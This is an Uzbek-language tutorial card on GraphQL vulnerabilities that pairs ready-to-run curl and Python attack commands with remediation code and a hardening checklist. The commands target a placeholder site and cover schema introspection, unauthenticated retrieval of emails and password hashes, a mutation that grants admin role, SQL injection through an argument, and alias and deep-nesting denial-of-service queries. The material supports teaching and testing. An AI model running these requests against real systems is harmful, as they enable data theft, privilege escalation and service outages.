◈
GraphQL zaifliklari
Introspection, batch, injection
1
Maqsad
bir so'rovda ko'p ma'lumot olishREST'da 5 ta endpoint kerak bo'lsa, GraphQL'da 1 ta so'rov bilan barchasi so'raladi. Bu qulaylik hujumchiga ham kerak bo'ladi: barcha ma'lumotni, autentifikatsiyasiz ma'lumotni va ichki maydonlarni oladi.
2
Tushuntirish
// introspection — butun sxema
curl -s -X POST https://site.uz/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ __schema { types { name fields { name } } } }"}' \
| jq '.data.__schema.types[].name' | head -20
Asosiy zaifliklar
| Zaiflik | Misol |
|---|---|
| Introspection ochiq | Barcha maydonlarni olish |
| Field-level auth yo'q | user.email — o'zgartirish |
| Batch/alias | 1 so'rovda 1000 ta alias → yuk |
| Injection ichida | Argument orqali SQL/NoSQL |
| Depth/Complexity | Chuqur so'rov → DoS |
| Introspection'dan introspection | O'z-o'zidan tekshirish |
3
Qanday aniqlanadi
# 1) endpoint topish curl -s -D- -o /dev/null -X POST https://site.uz/graphql \ -H "Content-Type: application/json" -d '{"query":"{__typename}"}' | head -3 for P in /graphql /api/graphql /gql /graphiql /playground; do echo " $P → $(curl -s -o /dev/null -w '%{http_code}' https://site.uz$P)" done # 2) introspection curl -s -X POST https://site.uz/graphql -H "Content-Type: application/json" \ -d '{"query":"{ __schema { queryType { name } } }"}' | jq -c . # 3) developer playground curl -s -o /dev/null -w "%{http_code}\n" https://site.uz/graphiql curl -s -o /dev/null -w "%{http_code}\n" https://site.uz/playground
4
Buyruqlar
# 1) introspection — to'liq sxema curl -s -X POST https://site.uz/graphql -H "Content-Type: application/json" \ -d '{"query":"{ __schema { types { name description fields { name type { name } } } } }"}' \ | jq -r '.data.__schema.types[] | select(.name|test("User|Admin|Order|Payment")) | .name' # 2) maxfiy maydonlarni topish (email, passwordHash) curl -s -X POST https://site.uz/graphql -H "Content-Type: application/json" \ -d '{"query":"{ __type(name:"User") { fields { name } } }"}' \ | jq -r '.data.__type.fields[].name' # 3) authentication siz ma'lumot curl -s -X POST https://site.uz/graphql -H "Content-Type: application/json" \ -d '{"query":"{ users { id email role isAdmin passwordHash } }"}' | jq -c . # 4) mutatsiya — mutation ham auth tekshirilayotganini curl -s -X POST https://site.uz/graphql -H "Content-Type: application/json" \ -d '{"query":"mutation { updateUser(id:1, input:{role:"admin"}) { id role } }"}' | jq -c . # 5) injection argument orqali curl -s -X POST https://site.uz/graphql -H "Content-Type: application/json" \ -d '{"query":"{ user(id:"1 OR 1=1") { email } }"}' | jq -c . # 6) alias bilan yuk (DoS) python3 -c " import json q = '{ ' + ' '.join('a%d: user(id:%d){id}' % (i,i) for i in range(1000)) + ' }' print(json.dumps({'query': q}))" > /tmp/batch.json curl -s -X POST https://site.uz/graphql -H "Content-Type: application/json" \ -d @/tmp/batch.json -m 15 -o /dev/null -w "HTTP %{http_code} %{time_total}s\n" # 7) chuqurlik (nested) DoS python3 -c " import json inner = '{ user(id:1){ posts { comments { author { posts { comments { author { id } } } } } } } }' print(json.dumps({'query': inner}))" > /tmp/deep.json curl -s -X POST https://site.uz/graphql -H "Content-Type: application/json" \ -d @/tmp/deep.json -m 15 -o /dev/null -w "HTTP %{http_code} %{time_total}s\n" # 8) to'liq sxemani yuklab olish curl -s -X POST https://site.uz/graphql -H "Content-Type: application/json" \ -d '{"query":"{ __schema { types { name } } }"}' | jq -r \ '.data.__schema.types[].name' | sort | tr '\n' ' '
5
Natija
✓ MUvaffaqiyat — hujum ISHLADI
| Server javobi | Nima degani |
|---|---|
Saxma `User`, `Admin` chop etildi | **Introspection ochiq** |
`passwordHash` maydoni mavjud | **Maxfiy maydon sizib chiqdi** |
Auth'siz `users { email }` qaytardi | **Field-level auth yo'q — kritik** |
`role: admin` mutation qabul qilindi | **Mutation himoyasiz** |
1000 alias → 5+ sek | **Batch DoS** |
✗ Rad etish — hujum ISHLAMADI
| Server javobi | Nima degani |
|---|---|
`introspection disabled` | **To'g'ri** |
Depth limit 7, complexity 1000 | **To'g'ri** |
Field resolvers auth tekshiradi | **To'g'ri** |
`GraphiQL` prod da o'chirilgan | **To'g'ri** |
6
Zararni yopish
1. Introspection
validationRules = [NoSchemaIntrospectionCustomRule]; // prod uchun // dev/staging da ochiq qoldirish — foydali
2. Field-level avtorizatsiya
const resolvers = {{
User: {{
email: (u, a, c) => {{ requireRole(c, ['admin','user']); return u.email; }},
passwordHash: () => { throw new Error('field disabled'); } // umuman chiqarish
}}
}};
3. Chuqurlik va murakkablik
validationRules: [ depthLimit(7), // 7 dan chuqurroq yo'q createComplexityLimitRule(1000), // murakkablik limiti maxAliases(20), maxRootFields(5) ]
4. Yakuniy javobda faqat kerakli maydonlar
curl -s -X POST https://site.uz/graphql -H "Content-Type: application/json" \
-d '{"query":"{ __schema { types { name } } }"}' | jq -c .
// ham "errors" qaytishi — xabardir
7
Tekshirish ro'yxati
- Prod da introspection o'chirilgan
- Depth limit (mas. 7) qo'yilgan
- Complexity limit va alias limiti bor
- Har bir field resolver'da auth tekshiriladi
- `passwordHash`, `token` maydonlari schema'da yo'q
- Rate limit GraphQL'ga ham qo'llangan
- `GraphiQL` prod da o'chirilgan
- Introspection so'rovi bilan sinab ko'rildi